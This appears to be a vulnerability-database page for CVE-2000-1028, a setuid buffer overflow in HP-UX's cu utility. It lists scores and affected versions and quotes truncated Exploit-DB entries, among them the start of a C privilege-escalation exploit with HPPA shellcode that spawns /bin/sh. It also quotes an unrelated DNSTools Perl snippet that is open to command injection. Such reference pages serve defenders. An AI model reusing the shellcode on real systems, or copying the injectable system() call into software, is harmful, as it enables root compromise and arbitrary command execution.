CVE-2000-1028
published 2000-12-11CVE-2000-1028: Buffer overflow in cu program in HP-UX 11.0 may allow local users to gain privileges via a long -l command line argument.
PriorityP422high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.48%
70.7th percentile
Buffer overflow in cu program in HP-UX 11.0 may allow local users to gain privileges via a long -l command line argument.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
HP-UX 11.0 - '/bin/cu' Local Privilege Escalation
exploitdb·2001-01-13
CVE-2000-1028 HP-UX 11.0 - '/bin/cu' Local Privilege Escalation
HP-UX 11.0 - '/bin/cu' Local Privilege Escalation
---
/*
* Copyright (c) 2001 Zorgon
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* HP-UX /bin/cu exploit.
* Tested on HP-UX 11.00
* [email protected] (http://www.nightbird.free.fr)
*
*/
#include
#include
#include
#include
#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200 /* it works for me */
u_char hppa_shellcode[] = /* K2 shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";
int
main(int argc , char **argv){
char buffer[LEN+8
Exploit-DB
HP-UX 9.x/10.x/11.x - cu Buffer Overflow
exploitdb·2000-11-02
CVE-2000-1028 HP-UX 9.x/10.x/11.x - cu Buffer Overflow
HP-UX 9.x/10.x/11.x - cu Buffer Overflow
---
source: https://www.securityfocus.com/bid/1886/info
cu is a unix utility that is used for communication between two hosts (usually over phone lines). It is typically isntalled setuid root so that it can access communications hardware when executed by a regular user.
The version of cu that ships with HP-UX is vulnerable to a buffer overflow attack that may result in an escalation of privileges if exploited properly. The argument to the -l option (the line) is handled in an unsafe manner and if the length of it exceeds 9777 bytes, it will corrupt vital stack variables. This may result in shellcode provided by the user being executed with the privileges of the process (euid 0).
$ ls -la `which cu`
-r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu
Us
Exploit-DB
DNSTools Software DNSTools 1.0.8/1.10 - Input Validation
exploitdb·2000-03-02
CVE-2000-0177 DNSTools Software DNSTools 1.0.8/1.10 - Input Validation
DNSTools Software DNSTools 1.0.8/1.10 - Input Validation
---
source: https://www.securityfocus.com/bid/1028/info
A vulnerability exists in the 1.0.8 release of DNSTools (labeled on some areas of their site as 1.08), from DNSTools Software. By manipulating the contents of certain post variables, arbitrary code may be executed.
Note that version 1.10 is reportedly still vulnerable. See message from Wolfgang Wiese in reference section.
The problem stems from the following code:
$host_name = $CGI->param("host_name");
$domain_name = $CGI->param("domain_name");
$error_description = "";
my $error_code = system("/usr/local/dnstools/delete_mx -d \"$domain_name\" -n \"$host_name\"");
No escaping or input validation is performed. This makes it easy for a would be attacker to execute arbitrary
No writeups or analysis indexed.
2000-12-11
Published